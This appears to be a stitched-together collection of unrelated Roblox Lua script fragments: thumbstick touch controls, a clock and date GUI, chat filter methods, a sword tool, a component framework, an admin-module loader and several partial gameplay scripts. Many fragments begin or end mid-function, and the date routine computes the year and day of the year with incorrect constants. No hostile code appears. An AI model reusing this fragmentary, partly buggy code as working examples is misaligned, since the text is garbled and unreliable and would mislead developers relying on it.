isBigScreen = math.min(screenSize.x, screenSize.y) > 500 if isBigScreen then ThumbstickSize = ThumbstickSize * 2 ThumbstickRingSize = ThumbstickRingSize * 2 MiddleSize = MiddleSize * 2 MiddleSpacing = MiddleSpacing * 2 RadiusOfDeadZone = RadiusOfDeadZone * 2 RadiusOfMaxSpeed = RadiusOfMaxSpeed * 2 end local function layoutThumbstickFrame(portraitMode) if portraitMode then self.thumbstickFrame.Size = UDim2.new(1, 0, 0.4, 0) self.thumbstickFrame.Position = UDim2.new(0, 0, 0.6, 0) else self.thumbstickFrame.Size = UDim2.new(0.4, 0, 2/3, 0) self.thumbstickFrame.Position = UDim2.new(0, 0, 1/3, 0) end end self.thumbstickFrame = Instance.new("TextButton") self.thumbstickFrame.Text = "" self.thumbstickFrame.Name = "DynamicThumbstickFrame" self.thumbstickFrame.Visible = false self.thumbstickFrame.BackgroundTransparency = 1.0 self.thumbstickFrame.BackgroundColor3 = Color3.fromRGB(0, 0, 0) layoutThumbstickFrame(false) self.startImage = Instance.new("ImageLabel") self.startImage.Name = "ThumbstickStart" self.startImage.Visible = true self.startImage.BackgroundTransparency = 1 self.startImage.Image = TOUCH_CONTROLS_SHEET self.startImage.ImageRectOffset = Vector2.new(1,1) self.startImage.ImageRectSize = Vector2.new(144, 144) self.startImage.ImageColor3 = Color3.new(0, 0, 0) self.startImage.AnchorPoint = Vector2.new(0.5, 0.5) self.startImage.Position = UDim2.new(0, ThumbstickRingSize * 3.3, 1, -ThumbstickRingSize * 2.8) self.startImage.Size = UDim2.new(0, ThumbstickRingSize * 3.7, 0, ThumbstickRingSize * 3.7) self.startImage.ZIndex = 10 self.startImage.Parent = self.thumbstickFrame self.endImage = Instance.new("ImageLabel") self.endImage.Name = "ThumbstickEnd" self.endImage.Visible = true self.endImage.BackgroundTransparency = 1 self.endImage.Image = TOUCH_CONTROLS_SHEET self.endImage.ImageRectOffset = Vector2.new(1,1) self.endImage.ImageRectSize = Vector2.new(144, 144) self.endImage.AnchorPoint = Vector2.new(0.5, 0.5) self.endImage.Position = self.startImage.Position self.endImage.Size = UDim2.new(0, ThumbstickSize * 0.8, 0, ThumbstickSize * 0.8) self.endImage.ZIndex = 10 self.endImage.Parent = self.thumbstickFrame for i = 1, NUM_MIDDLE_IMAGES do self.middleImages[i] = Instance.new("ImageLabel") self.middleImages[i].Name = "ThumbstickMiddle" self.middleImages[i].Visible = false self.middleImages[i].BackgroundTransparency = 1 self.middleImages[i].Image = TOUCH_CONTROLS_SHEET self.middleImages[i].ImageRectOffset = Vector2.new(1,1) self.middleImages[i].ImageRectSize = Vector2.new(144, 144) self.middleImages[i].ImageTransparency = MIDDLE_TRANSPARENCIES[i] self.middleImages[i].AnchorPoint = Vector2.new(0.5, 0.5) self.middleImages[i].ZIndex = 9 self.middleImages[i].Parent = self.thumbstickFrame end local CameraChangedConn = nil local function onCurrentCameraChanged() if CameraChangedConn then CameraChangedConn:Disconnect() CameraChangedConn = nil end local newCamera = workspace.CurrentCamera if newCamera then local function onViewportSizeChanged() local size = newCamera.ViewportSize local portraitMode = size.X < size.Y layoutThumbstickFrame(portraitMode) end CameraChangedConn = newCamera:GetPropertyChangedSignal("ViewportSize"):Connect(onViewportSizeChanged) onViewportSizeChanged() end end workspace:GetPropertyChangedSignal("CurrentCamera"):Connect(onCurrentCameraChanged) if workspace.CurrentCamera then onCurrentCameraChanged() end self.moveTouchStartPosition = nil self.startImageFadeTween = nil self.endImageFadeTween = nil self.middleImageFadeTweens = {} local function doMove(direction) local currentMoveVector = direction -- Scaled Radial Dead Zone local inputAxisMagnitude = currentMoveVector.magnitude if inputAxisMagnitude < RadiusOfDeadZone then currentMoveVector = Vector3.new() else currentMoveVector = currentMoveVector.unit*(1 - math.max(0, (RadiusOfMaxSpeed - currentMoveVector.magnitude)/RadiusOfMaxSpeed)) currentMoveVector = Vector3.new(currentMoveVector.x, 0, currentMoveVector.y) end self.moveVector = currentMoveVector end local function layoutMiddleImages(startPos, endPos) local startDist = (ThumbstickSize / 2) + MiddleSize local vector = endPos - startPos local distAvailable = vector.magnitude - (ThumbstickRingSize / 2) - MiddleSize local direction = vector.unit local distNeeded = MiddleSpacing * NUM_MIDDLE_IMAGES local spacing = MiddleSpacing if distNeeded < distAvailable then spacing = distAvailable / NUM_MIDDLE_IMAGES end for i = 1, NUM_MIDDLE_IMAGES do local image = self.middleImages[i] local distWithout = startDist + (spacing * (i - 2)) local currentDist = startDist + (spacing * (i - 1)) if distWithout < distAvailable then local pos = endPos - direction * currentDist local exposedFraction = math.clamp(1 - ((currentDist - distAvailable) / spacing), 0, 1) image.Visible = true image.Position = UDim2.new(0, pos.X, 0, pos.Y) image.Size = UDim2.new(0, MiddleSize * exposedFraction, 0, MiddleSize * exposedFraction) else image.Visible = false end end end local function moveStick(pos) local startPos = Vector2.new(self.moveTouchStartPosition.X, self.moveTouchStartPosition.Y) - self.thumbstickFrame.AbsolutePosition local endPos = Vector2.new(pos.X, pos.Y) - self.thumbstickFrame.AbsolutePosition self.endImage.Position = UDim2.new(0, endPos.X, 0, endPos.Y) layoutMiddleImages(startPos, endPos) end -- input connections self.thumbstickFrame.InputBegan:Connect(function(inputObject) if inputObject.UserInputType ~= Enum.UserInputType.Touch or inputObject.UserInputState ~= Enum.UserInputState.Begin then return end if self.moveTouchObject then return end if self.isFirstTouch then self.isFirstTouch = false local tweenInfo = TweenInfo.new(0.5, Enum.EasingStyle.Quad, Enum.EasingDirection.Out,0,false,0) TweenService:Create(self.startImage, tweenInfo, {Size = UDim2.new(0, 0, 0, 0)}):Play() TweenService:Create(self.endImage, tweenInfo, {Size = UDim2.new(0, ThumbstickSize, 0, ThumbstickSize), ImageColor3 = Color3.new(0,0,0)}):Play() end self.moveTouchObject = inputObject self.moveTouchStartPosition = inputObject.Position local startPosVec2 = Vector2.new(inputObject.Position.X - self.thumbstickFrame.AbsolutePosition.X, inputObject.Position.Y - self.thumbstickFrame.AbsolutePosition.Y) self.startImage.Visible = true self.startImage.Position = UDim2.new(0, startPosVec2.X, 0, startPosVec2.Y) self.endImage.Visible = true self.endImage.Position = self.startImage.Position self:FadeThumbstick(true) moveStick(inputObject.Position) if FADE_IN_OUT_BACKGROUND then local playerGui = Players.LocalPlayer:FindFirstChildOfClass("PlayerGui") local hasFadedBackgroundInOrientation = false -- only fade in/out the background once per orientation if playerGui then if playerGui.CurrentScreenOrientation == Enum.ScreenOrientation.LandscapeLeft or playerGui.CurrentScreenOrientation == Enum.ScreenOrientation.LandscapeRight then hasFadedBackgroundInOrientation = self.hasFadedBackgroundInLandscape self.hasFadedBackgroundInLandscape = true elseif playerGui.CurrentScreenOrientation == Enum.ScreenOrientation.Portrait then hasFadedBackgroundInOrientation = self.hasFadedBackgroundInPortrait self.hasFadedBackgroundInPortrait = true end end if not hasFadedBackgroundInOrientation then self.fadeInAndOutHalfDuration = FADE_IN_OUT_HALF_DURATION_DEFAULT self.fadeInAndOutBalance = FADE_IN_OUT_BALANCE_DEFAULT self.tweenInAlphaStart = tick() end end end) self.onTouchMovedConn = UserInputService.TouchMoved:connect(function(inputObject) if inputObject == self.moveTouchObject then self.thumbstickFrame.Active = false local direction = Vector2.new(inputObject.Position.x - self.moveTouchStartPosition.x, inputObject.Position.y - self.moveTouchStartPosition.y) if math.abs(direction.x) > 0 or math.abs(direction.y) > 0 then doMove(direction) moveStick(inputObject.Position) end end end) self.onRenderSteppedConn = RunService.RenderStepped:Connect(function() if self.tweenInAlphaStart ~= nil then local delta = tick() - self.tweenInAlphaStart local fadeInTime = (self.fadeInAndOutHalfDuration * 2 * self.fadeInAndOutBalance) self.thumbstickFrame.BackgroundTransparency = 1 - FADE_IN_OUT_MAX_ALPHA*math.min(delta/fadeInTime, 1) if delta > fadeInTime then self.tweenOutAlphaStart = tick() self.tweenInAlphaStart = nil end elseif self.tweenOutAlphaStart ~= nil then local delta = tick() - self.tweenOutAlphaStart local fadeOutTime = (self.fadeInAndOutHalfDuration * 2) - (self.fadeInAndOutHalfDuration * 2 * self.fadeInAndOutBalance) self.thumbstickFrame.BackgroundTransparency = 1 - FADE_IN_OUT_MAX_ALPHA + FADE_IN_OUT_MAX_ALPHA*math.min(delta/fadeOutTime, 1) if delta > fadeOutTime then self.tweenOutAlphaStart = nil end end end) self.onTouchEndedConn = UserInputService.TouchEnded:connect(function(inputObject) if inputObject == self.moveTouchObject then self:OnInputEnded() end end) GuiService.MenuOpened:connect(function() if self.moveTouchObject then self:OnInputEnded() end end) local playerGui = Players.LocalPlayer:FindFirstChildOfClass("PlayerGui") while not playerGui do Players.LocalPlayer.ChildAdded:wait() playerGui = Players.LocalPlayer:FindFirstChildOfClass("PlayerGui") end local playerGuiChangedConn = nil local originalScreenOrientationWasLandscape = playerGui.CurrentScreenOrientation == Enum.ScreenOrientation.LandscapeLeft or playerGui.CurrentScreenOrientation == Enum.ScreenOrientation.LandscapeRight local function longShowBackground() self.fadeInAndOutHalfDuration = 2.5 self.fadeInAndOutBalance = 0.05 self.tweenInAlphaStart = tick() end playerGuiChangedConn = playerGui.Changed:connect(function(prop) if prop == "CurrentScreenOrientation" then if (originalScreenOrientationWasLandscape and playerGui.CurrentScreenOrientation == Enum.ScreenOrientation.Portrait) or (not originalScreenOrientationWasLandscape and playerGui.CurrentScreenOrientation ~= Enum.ScreenOrientation.Portrait) then playerGuiChangedConn:disconnect() longShowBackground() if originalScreenOrientationWasLandscape then self.hasFadedBackgroundInPortrait = true else self.hasFadedBackgroundInLandscape = true end end end end) self.thumbstickFrame.Parent = parentFrame spawn(function() if game:IsLoaded() then longShowBackground() else game.Loaded:wait() longShowBackground() end end) end return DynamicThumbstick
-- {"MONTH", TOAL DAYS TO YEAR, DAYS} <- Format
{"January",31,31}; {"February",59,28}; {"March",90,31}; {"April",120,30}; {"May",151,31}; {"June",181,30}; {"July",212,31}; {"August",243,31}; {"September",273,30}; {"October",304,31}; {"November",334,30}; {"December",365,31}; } year = math.floor(1970+(t/31579200)) if ((year%4) == 0) then -- Check for leap year months[2][3] = 29 for i,v in pairs(months) do if (i ~= 1) then v[2] = (v[2]+1) end end end day = math.floor(((t/86400)%365.25)+1) -- Get current day of the year. Starts at 0, so 1 is added (365.25 is the average # of days in a year due to leap year) for i,m in pairs(months) do if ((m[2]-m[3]) <= day) then -- Get month based on day month = i end end local m = months[month] day = (day+m[3]-m[2]) -- Get day of the month year,day = tostring(year),tostring(day) local c,s = ", "," " -- Comma, space Date = (months[month][1] .. s .. day .. c .. year) end function getTime() local sec = math.floor((t%60)) -- Sec, Min, and Hour equations I actually got off of Google. Everything else was written by me local min = math.floor((t/60)%60) local hour = math.floor((t/3600)%24) sec = tostring((sec < 10 and "0" or "") .. sec) min = tostring((min < 10 and "0" or "") .. min) tag = (Type == 0 and (hour < 12 and "AM" or "PM") or "") hour = ((Type == 1 and hour < 10 and "0" or "") .. tostring(Type == 0 and (hour == 0 and 12 or hour > 12 and (hour-12) or hour) or hour)) -- Ternary operators FTW. Helps get rid of 'if then' stuff. Actually learned this off of Java programming: z = (x == y ? "Yes" : "No") local c,s = ":",(Type == 0 and " " or "") -- Colon, (space if 12 hr clock) Time = (hour .. c .. min .. (Sec and c .. sec or "") .. s .. tag) end function display(start) if (start) then getDate() getTime() delay(0,function() for i = 1,0,-0.05 do script.Parent.Time.TextTransparency,script.Parent.Date.TextTransparency = i,i wait() end script.Parent.Time.TextTransparency,script.Parent.Date.TextTransparency = 0,0 end) end script.Parent.Time.Text = Time -- ORLY? script.Parent.Date.Text = Date end function buttons() -- This is all the GUI handling stuff local h12 = script.Parent.Hr12 local h24 = script.Parent.Hr24 local s = script.Parent.Sec h12.MouseButton1Click:connect(function() Type = 0 h12.Style,h24.Style = 1,2 h12.TextTransparency,h24.TextTransparency = 0,0.5 end) h24.MouseButton1Click:connect(function() Type = 1 h24.Style,h12.Style = 1,2 h24.TextTransparency,h12.TextTransparency = 0,0.5 end) s.MouseButton1Click:connect(function() Sec = (not Sec) -- Fastest way to switch a boolean in lua s.Style = (Sec and 1 or 2) s.TextTransparency = (Sec and 0 or 0.5) end) end function start() buttons() display(true) while (true) do -- Simplicity FTW: t = tick() getDate() getTime() display() wait() end end start()
-- For those who prefer distinct functions
function ControlModule:Disable() self.controlsEnabled = false self:UpdateActiveControlModuleEnabled() end
--// Return values: bool filterSuccess, bool resultIsFilterObject, variant result
function methods:InternalApplyRobloxFilterNewAPI(speakerName, message) --// USES FFLAG local alwaysRunFilter = false local runFilter = RunService:IsServer() -- and not RunService:IsStudio() if (alwaysRunFilter or runFilter) then local fromSpeaker = self:GetSpeaker(speakerName) if fromSpeaker == nil then return false, nil, nil end local fromPlayerObj = fromSpeaker:GetPlayer() if fromPlayerObj == nil then return true, false, message end local success, filterResult = pcall(function() local ts = game:GetService("TextService") local result = ts:FilterStringAsync(message, fromPlayerObj.UserId) return result end) if (success) then return true, true, filterResult else warn("Error filtering message:", message) self:InternalNotifyFilterIssue() return false, nil, nil end else --// Simulate filtering latency. wait(0.2) return true, false, message end return nil end function methods:InternalDoMessageFilter(speakerName, messageObj, channel) local filtersIterator = self.FilterMessageFunctions:GetIterator() for funcId, func, priority in filtersIterator do local success, errorMessage = pcall(function() func(speakerName, messageObj, channel) end) if not success then warn(string.format("DoMessageFilter Function '%s' failed for reason: %s", funcId, errorMessage)) end end end function methods:InternalDoProcessCommands(speakerName, message, channel) local commandsIterator = self.ProcessCommandsFunctions:GetIterator() for funcId, func, priority in commandsIterator do local success, returnValue = pcall(function() local ret = func(speakerName, message, channel) if type(ret) ~= "boolean" then error("Process command functions must return a bool") end return ret end) if not success then warn(string.format("DoProcessCommands Function '%s' failed for reason: %s", funcId, returnValue)) elseif returnValue then return true end end return false end function methods:InternalGetUniqueMessageId() local id = self.MessageIdCounter self.MessageIdCounter = id + 1 return id end function methods:InternalAddSpeakerWithPlayerObject(speakerName, playerObj, fireSpeakerAdded) if (self.Speakers[speakerName:lower()]) then error("Speaker \"" .. speakerName .. "\" already exists!") end local speaker = Speaker.new(self, speakerName) speaker:InternalAssignPlayerObject(playerObj) self.Speakers[speakerName:lower()] = speaker if fireSpeakerAdded then local success, err = pcall(function() self.eSpeakerAdded:Fire(speakerName) end) if not success and err then print("Error adding speaker: " ..err) end end return speaker end function methods:InternalFireSpeakerAdded(speakerName) local success, err = pcall(function() self.eSpeakerAdded:Fire(speakerName) end) if not success and err then print("Error firing speaker added: " ..err) end end
-- Get the correct sound from our sound list.
local function getSoundProperties() for name, data in pairs(IDList) do if name == material then oldWalkSpeed = humanoid.WalkSpeed id = data.id volume = data.volume if isrunning.Value == false then if humanoid.WalkSpeed >= 40 then playbackSpeed = 2.2 else playbackSpeed = (humanoid.WalkSpeed / 14) * data.speed end else if humanoid.WalkSpeed >= 40 then playbackSpeed = 2.2 else playbackSpeed = (humanoid.WalkSpeed / 22) * data.speed end end break end end end
-- Janitor -- Stephen Leitnick -- October 16, 2021
local FN_MARKER = newproxy() local RunService = game:GetService("RunService") local function GetObjectCleanupFunction(object, cleanupMethod) local t = typeof(object) if t == "function" then return FN_MARKER end if cleanupMethod then return cleanupMethod end if t == "Instance" then return "Destroy" elseif t == "RBXScriptConnection" then return "Disconnect" elseif t == "table" then if typeof(object.Destroy) == "function" then return "Destroy" elseif typeof(object.Disconnect) == "function" then return "Disconnect" end end error("Failed to get cleanup function for object " .. t .. ": " .. tostring(object)) end
-------- OMG HAX
r = game:service("RunService") local damage = 5 local slash_damage = 22 sword = script.Parent.Handle Tool = script.Parent black = BrickColor.new("Really black") local SlashSound = Instance.new("Sound") SlashSound.SoundId = "http://www.roblox.com/asset/?id=10730819" SlashSound.Parent = sword SlashSound.Volume = 1 local UnsheathSound = Instance.new("Sound") UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav" UnsheathSound.Parent = sword UnsheathSound.Volume = 1 function blow(hit) local humanoid = hit.Parent:findFirstChild("Humanoid") local player = game.Players:FindFirstChild(hit.Parent.Name) local vCharacter = Tool.Parent local vPlayer = game.Players:playerFromCharacter(vCharacter) if player and vPlayer then local hum = vCharacter:findFirstChild("Humanoid") -- non-nil if tool held by a character local myteam = vPlayer.TeamColor local theirteam = player.TeamColor if humanoid~=nil and humanoid ~= hum and hum ~= nil then -- final check, make sure sword is in-hand local right_arm = vCharacter:FindFirstChild("Right Arm") or vCharacter:FindFirstChild("RightHand") if (right_arm ~= nil) then local joint = right_arm:FindFirstChild("RightGrip") if (joint ~= nil and (joint.Part0 == sword or joint.Part1 == sword)) then if player and player ~= vPlayer and not vPlayer.Neutral and not player.Neutral and (myteam ~= theirteam or (myteam == black and theirteam == black)) then tagHumanoid(humanoid, vPlayer) humanoid:TakeDamage(damage) wait(1) untagHumanoid(humanoid) end end end end end end function tagHumanoid(humanoid, player) local creator_tag = Instance.new("ObjectValue") creator_tag.Value = player creator_tag.Name = "creator" creator_tag.Parent = humanoid end function untagHumanoid(humanoid) if humanoid ~= nil then local tag = humanoid:findFirstChild("creator") if tag ~= nil then tag.Parent = nil end end end function attack() damage = slash_damage SlashSound:play() local anim = Instance.new("StringValue") anim.Name = "toolanim" anim.Value = "Slash" anim.Parent = Tool end function swordUp() Tool.GripForward = Vector3.new(-1,0,0) Tool.GripRight = Vector3.new(0,1,0) Tool.GripUp = Vector3.new(0,0,1) end function swordOut() Tool.GripForward = Vector3.new(0,0,1) Tool.GripRight = Vector3.new(0,-1,0) Tool.GripUp = Vector3.new(-1,0,0) end Tool.Enabled = true function onActivated() if not Tool.Enabled then return end Tool.Enabled = false local character = Tool.Parent; local humanoid = character.Humanoid if humanoid == nil then print("Humanoid not found") return end attack() wait(1) Tool.Enabled = true end function onEquipped() UnsheathSound:play() end script.Parent.Activated:connect(onActivated) script.Parent.Equipped:connect(onEquipped) connection = sword.Touched:connect(blow)
------------------------------------------------------------------------ -- dump Lua function as precompiled chunk -- (lua_State* L, const Proto* f, lua_Writer w, void* data, int strip) -- * w, data are created from make_setS, make_setF ------------------------------------------------------------------------
function luaU:dump(L, f, w, data, strip) local D = {} -- DumpState D.L = L D.write = w D.data = data D.strip = strip D.status = 0 self:DumpHeader(D) self:DumpFunction(f, nil, D) -- added: for a chunk writer writing to a file, this final call with -- nil data is to indicate to the writer to close the file D.write(nil, D.data) return D.status end return luaU
-- Components will only work on instances parented under these descendants:
local DESCENDANT_WHITELIST = {workspace, Players} local Component = {} Component.__index = Component local componentsByTag = {} local componentByTagCreated = Signal.new() local componentByTagDestroyed = Signal.new() local function IsDescendantOfWhitelist(instance) for _,v in ipairs(DESCENDANT_WHITELIST) do if (instance:IsDescendantOf(v)) then return true end end return false end function Component.FromTag(tag) return componentsByTag[tag] end function Component.ObserveFromTag(tag, observer) local janitor = Janitor.new() local observeJanitor = Janitor.new() janitor:Add(observeJanitor) local function OnCreated(component) if (component._tag == tag) then observer(component, observeJanitor) end end local function OnDestroyed(component) if (component._tag == tag) then observeJanitor:Cleanup() end end do local component = Component.FromTag(tag) if (component) then task.spawn(OnCreated, component) end end janitor:Add(componentByTagCreated:Connect(OnCreated)) janitor:Add(componentByTagDestroyed:Connect(OnDestroyed)) return janitor end function Component.Auto(folder) local function Setup(moduleScript) local m = require(moduleScript) assert(type(m) == "table", "Expected table for component") assert(type(m.Tag) == "string", "Expected .Tag property") Component.new(m.Tag, m, m.RenderPriority, m.RequiredComponents) end for _,v in ipairs(folder:GetDescendants()) do if (v:IsA("ModuleScript")) then Setup(v) end end folder.DescendantAdded:Connect(function(v) if (v:IsA("ModuleScript")) then Setup(v) end end) end function Component.new(tag, class, renderPriority, requireComponents) assert(type(tag) == "string", "Argument #1 (tag) should be a string; got " .. type(tag)) assert(type(class) == "table", "Argument #2 (class) should be a table; got " .. type(class)) assert(type(class.new) == "function", "Class must contain a .new constructor function") assert(type(class.Destroy) == "function", "Class must contain a :Destroy function") assert(componentsByTag[tag] == nil, "Component already bound to this tag") local self = setmetatable({}, Component) self._janitor = Janitor.new() self._lifecycleJanitor = Janitor.new() self._tag = tag self._class = class self._objects = {} self._instancesToObjects = {} self._hasHeartbeatUpdate = (type(class.HeartbeatUpdate) == "function") self._hasSteppedUpdate = (type(class.SteppedUpdate) == "function") self._hasRenderUpdate = (type(class.RenderUpdate) == "function") self._hasInit = (type(class.Init) == "function") self._hasDeinit = (type(class.Deinit) == "function") self._renderPriority = renderPriority or Enum.RenderPriority.Last.Value self._requireComponents = requireComponents or {} self._lifecycle = false self._nextId = 0 self.Added = Signal.new(self._janitor) self.Removed = Signal.new(self._janitor) local observeJanitor = Janitor.new() self._janitor:Add(observeJanitor) local function ObserveTag() local function HasRequiredComponents(instance) for _,reqComp in ipairs(self._requireComponents) do local comp = Component.FromTag(reqComp) if (comp:GetFromInstance(instance) == nil) then return false end end return true end observeJanitor:Add(CollectionService:GetInstanceAddedSignal(tag):Connect(function(instance) if (IsDescendantOfWhitelist(instance) and HasRequiredComponents(instance)) then self:_instanceAdded(instance) end end)) observeJanitor:Add(CollectionService:GetInstanceRemovedSignal(tag):Connect(function(instance) self:_instanceRemoved(instance) end)) for _,reqComp in ipairs(self._requireComponents) do local comp = Component.FromTag(reqComp) observeJanitor:Add(comp.Added:Connect(function(obj) if (CollectionService:HasTag(obj.Instance, tag) and HasRequiredComponents(obj.Instance)) then self:_instanceAdded(obj.Instance) end end)) observeJanitor:Add(comp.Removed:Connect(function(obj) if (CollectionService:HasTag(obj.Instance, tag)) then self:_instanceRemoved(obj.Instance) end end)) end observeJanitor:Add(function() self:_stopLifecycle() for instance in pairs(self._instancesToObjects) do self:_instanceRemoved(instance) end end) do local b = Instance.new("BindableEvent") for _,instance in ipairs(CollectionService:GetTagged(tag)) do if (IsDescendantOfWhitelist(instance) and HasRequiredComponents(instance)) then local c = b.Event:Connect(function() self:_instanceAdded(instance) end) b:Fire() c:Disconnect() end end b:Destroy() end end if (#self._requireComponents == 0) then ObserveTag() else -- Only observe tag when all required components are available: local tagsReady = {} local function Check() for _,ready in pairs(tagsReady) do if (not ready) then return end end ObserveTag() end local function Cleanup() observeJanitor:Cleanup() end for _,requiredComponent in ipairs(self._requireComponents) do tagsReady[requiredComponent] = false self._janitor:Add(Component.ObserveFromTag(requiredComponent, function(_component, janitor) tagsReady[requiredComponent] = true Check() janitor:Add(function() tagsReady[requiredComponent] = false Cleanup() end) end)) end end componentsByTag[tag] = self componentByTagCreated:Fire(self) self._janitor:Add(function() componentsByTag[tag] = nil componentByTagDestroyed:Fire(self) end) return self end function Component:_startHeartbeatUpdate() local all = self._objects self._heartbeatUpdate = RunService.Heartbeat:Connect(function(dt) for _,v in ipairs(all) do v:HeartbeatUpdate(dt) end end) self._lifecycleJanitor:Add(self._heartbeatUpdate) end function Component:_startSteppedUpdate() local all = self._objects self._steppedUpdate = RunService.Stepped:Connect(function(_, dt) for _,v in ipairs(all) do v:SteppedUpdate(dt) end end) self._lifecycleJanitor:Add(self._steppedUpdate) end function Component:_startRenderUpdate() local all = self._objects self._renderName = (self._tag .. "RenderUpdate") RunService:BindToRenderStep(self._renderName, self._renderPriority, function(dt) for _,v in ipairs(all) do v:RenderUpdate(dt) end end) self._lifecycleJanitor:Add(function() RunService:UnbindFromRenderStep(self._renderName) end) end function Component:_startLifecycle() self._lifecycle = true if (self._hasHeartbeatUpdate) then self:_startHeartbeatUpdate() end if (self._hasSteppedUpdate) then self:_startSteppedUpdate() end if (self._hasRenderUpdate) then self:_startRenderUpdate() end end function Component:_stopLifecycle() self._lifecycle = false self._lifecycleJanitor:Cleanup() end function Component:_instanceAdded(instance) if (self._instancesToObjects[instance]) then return end if (not self._lifecycle) then self:_startLifecycle() end self._nextId = (self._nextId + 1) local id = (self._tag .. tostring(self._nextId)) if (IS_SERVER) then instance:SetAttribute(ATTRIBUTE_ID_NAME, id) end local obj = self._class.new(instance) obj.Instance = instance obj._id = id self._instancesToObjects[instance] = obj table.insert(self._objects, obj) if (self._hasInit) then task.defer(function() if (self._instancesToObjects[instance] ~= obj) then return end obj:Init() end) end self.Added:Fire(obj) return obj end function Component:_instanceRemoved(instance) if (not self._instancesToObjects[instance]) then return end self._instancesToObjects[instance] = nil for i,obj in ipairs(self._objects) do if (obj.Instance == instance) then if (self._hasDeinit) then obj:Deinit() end if (IS_SERVER and instance.Parent and instance:GetAttribute(ATTRIBUTE_ID_NAME) ~= nil) then instance:SetAttribute(ATTRIBUTE_ID_NAME, nil) end self.Removed:Fire(obj) obj:Destroy() obj._destroyed = true TableUtil.FastRemove(self._objects, i) break end end if (#self._objects == 0 and self._lifecycle) then self:_stopLifecycle() end end function Component:GetAll() return TableUtil.CopyShallow(self._objects) end function Component:GetFromInstance(instance) return self._instancesToObjects[instance] end function Component:GetFromID(id) for _,v in ipairs(self._objects) do if (v._id == id) then return v end end return nil end function Component:Filter(filterFunc) return TableUtil.Filter(self._objects, filterFunc) end function Component:WaitFor(instance, timeout) local isName = (type(instance) == "string") local function IsInstanceValid(obj) return ((isName and obj.Instance.Name == instance) or ((not isName) and obj.Instance == instance)) end for _,obj in ipairs(self._objects) do if (IsInstanceValid(obj)) then return Promise.Resolve(obj) end end local lastObj = nil return Promise.FromEvent(self.Added, function(obj) lastObj = obj return IsInstanceValid(obj) end):Then(function() return lastObj end):Timeout(timeout or DEFAULT_WAIT_FOR_TIMEOUT) end function Component:Observe(instance, observer) local janitor = Janitor.new() local observeJanitor = Janitor.new() janitor:Add(observeJanitor) janitor:Add(self.Added:Connect(function(obj) if (obj.Instance == instance) then observer(obj, observeJanitor) end end)) janitor:Add(self.Removed:Connect(function(obj) if (obj.Instance == instance) then observeJanitor:Cleanup() end end)) for _,obj in ipairs(self._objects) do if (obj.Instance == instance) then task.spawn(observer, obj, observeJanitor) break end end return janitor end function Component:Destroy() self._janitor:Destroy() end return Component
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local autoscaling = false --Estimates top speed local UNITS = { --Click on speed to change units --First unit is default { units = "KM/H" , scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H maxSpeed = 280 , spInc = 40 , -- Increment between labelled notches }, }
--[[ This loads HD Admin into your game. Require the 'HD Admin MainModule' by the HD Admin group for automatic updates. You can view the HD Admin Main Module here: https://www.roblox.com/library/3239236979/HD --]]
local loaderFolder = script.Parent.Parent local mainModule = require(3239236979) mainModule:Initialize(loaderFolder)
--// Modules
local L_119_ = require(L_22_:WaitForChild("Utilities")) local L_120_ = require(L_22_:WaitForChild("Spring")) local L_121_ = require(L_22_:WaitForChild("Plugins")) local L_122_ = require(L_22_:WaitForChild("easing")) local L_123_ = L_119_.Fade local L_124_ = L_119_.SpawnCam local L_125_ = L_119_.FixCam local L_126_ = L_119_.tweenFoV local L_127_ = L_119_.tweenCam local L_128_ = L_119_.tweenRoll local L_129_ = L_119_.TweenJoint local L_130_ = L_119_.Weld
--returns the wielding player of this tool
function getPlayer() local char = Tool.Parent return game:GetService("Players"):GetPlayerFromCharacter(Character) end function Toss(direction) local handlePos = Vector3.new(Tool.Handle.Position.X, 0, Tool.Handle.Position.Z) local spawnPos = Character.Head.Position spawnPos = spawnPos + (direction * 5) Tool.Handle.Transparency = 1 local Object = Tool.Handle:Clone() Object.Parent = workspace Object.Transparency = 1 Object.Swing.Pitch = math.random(90, 110)/100 Object.Swing:Play() Object.CanCollide = true Object.CFrame = Tool.Handle.CFrame Object.Velocity = (direction*AttackVelocity) + Vector3.new(0,AttackVelocity/7.5,0) Object.Trail.Enabled = true Object.Fuse:Play() Object.Sparks.Enabled = true local rand = 11.25 Object.RotVelocity = Vector3.new(math.random(-rand,rand),math.random(-rand,rand),math.random(-rand,rand)) Object:SetNetworkOwner(getPlayer()) local ScriptClone = DamageScript:Clone() ScriptClone.Parent = Object ScriptClone.Disabled = false local tag = Instance.new("ObjectValue") tag.Value = getPlayer() tag.Name = "killer" tag.Parent = Object Tool:Destroy() end script.Parent.Power.OnServerEvent:Connect(function(player, Power) AttackVelocity = Power end) Remote.OnServerEvent:Connect(function(player, mousePosition) if not AttackAble then return end AttackAble = false if Humanoid and Humanoid.RigType == Enum.HumanoidRigType.R15 then Remote:FireClient(getPlayer(), "PlayAnimation", "Animation") end local targetPos = mousePosition.p local lookAt = (targetPos - Character.Head.Position).unit Toss(lookAt) LeftDown = true end) function onLeftUp() LeftDown = false end Tool.Equipped:Connect(function() Character = Tool.Parent Humanoid = Character:FindFirstChildOfClass("Humanoid") end) Tool.Unequipped:Connect(function() Character = nil Humanoid = nil end)
-- Private Methods
function init(self) local label = self.Frame.Label local container = self.Frame.RadioContainer local function contentSizeUpdate() local absSize = self.Frame.AbsoluteSize local ratio = absSize.y / absSize.x container.Size = UDim2.new(ratio, 0, 1, 0) label.Size = UDim2.new(1 - ratio, -10, 1, 0) label.Position = UDim2.new(ratio, 10, 0, 0) end contentSizeUpdate() self._Maid:Mark(self.Frame:GetPropertyChangedSignal("AbsoluteSize"):Connect(contentSizeUpdate)) end
-- print("Wha " .. pose)
stopAllAnimations() amplitude = 0.1 frequency = 1 setAngles = true end if (setAngles) then end -- Tool Animation handling local tool = getTool() if tool and tool:FindFirstChild("Handle") then local animStringValueObject = getToolAnim(tool) if animStringValueObject then toolAnim = animStringValueObject.Value -- message recieved, delete StringValue animStringValueObject.Parent = nil toolAnimTime = time + .3 end if time > toolAnimTime then toolAnimTime = 0 toolAnim = "None" end animateTool() else stopToolAnimations() toolAnim = "None" toolAnimInstance = nil toolAnimTime = 0 end end
-- Get the local player's camera
local camera = game:GetService("Workspace").CurrentCamera
-- Number of bullets in a clip
local ClipSize = 250
